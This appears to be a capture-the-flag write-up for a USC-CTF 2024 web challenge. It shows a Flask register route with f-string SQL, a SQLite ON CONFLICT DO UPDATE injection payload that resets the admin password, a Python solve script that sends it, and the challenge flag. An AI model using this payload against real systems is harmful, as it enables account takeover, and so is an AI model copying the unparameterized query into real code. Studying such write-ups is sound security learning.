Spooky Query Leaks (USC-CTF 2024): SQLite3 SQL Injection via UPSERT

Code Review#

Upon reviewing the source code, I confirmed the SQL injection vulnerability in the /register route:

1
cursor.execute(f"INSERT INTO users (username, password) VALUES ('{username}', '{generate_password_hash(password)}')")

In this snippet, user inputs (username and password) are directly embedded in the SQL query string, without parameterization or input sanitization, allowing for malicious SQL command injection.

Flag Location#

Upon further inspection, I found that the flag is accessible only through the admin account. The /dashboard route contains the logic for displaying the flag:

1
@app.route('/dashboard')
2
def dashboard():
3
    if 'username' not in session:
4
        return redirect('/login')
5

6
    username = session['username']
7
    cursor = get_db().cursor()
8

9
    if username == 'admin':
10
        cursor.execute("SELECT flag FROM flags")
11
        flag = cursor.fetchone()['flag']
12
        return render_template('dashboard.html', username=username, flag=flag)
13

14
    return render_template('dashboard.html', username=username, flag=None)

Exploitation#

Through research, I discovered a method in SQLite3 using ON CONFLICT DO UPDATE. This allows us to update the admin password directly during registration if the username already exists.

We can use the following payload as the username during registration:

1
admin', 'meow') ON CONFLICT(username) DO UPDATE SET password = 'achuxer';--

How It Works:

1. The first part (admin', 'meow')) closes the INSERT statement.
2. ON CONFLICT(username) triggers when trying to insert an existing user.
3. The password is updated to achuxer.
4. ;-- comments out the rest of the SQL query that follow

Solution Script: solve.py#

1
#!/usr/bin/env python3
2
import requests
3
from werkzeug.security import generate_password_hash
4

5
url = 'https://usc-spookyql.chals.io/1ef2ec1d-b8ba-44ec-8f5d-7d07ebcd598e'
6

7
def register_user(payload):
8
    response = requests.post(url + '/register', data={'username': payload, 'password': 'password'})
9
    return response
10

11
def login_user(username, password):
12
    response = requests.post(url + '/login', data={'username': username, 'password': password})
13
    return response
14

15
payload = f"""admin', 'meow') ON CONFLICT(username) DO UPDATE SET password = '{generate_password_hash('achuxer')}'; --"""
16

17
response = register_user(payload)
18
print("[*] Response code: ", response.status_code)
19

20
print("[*] Logging in as admin")
21
response = login_user('admin', 'achuxer')
22
print(response.text)

After executing this, we can Get the Flag.

FLAG: CYBORG{Wh4t_h4pp3n3d_t0_my_p4ssw0rd!}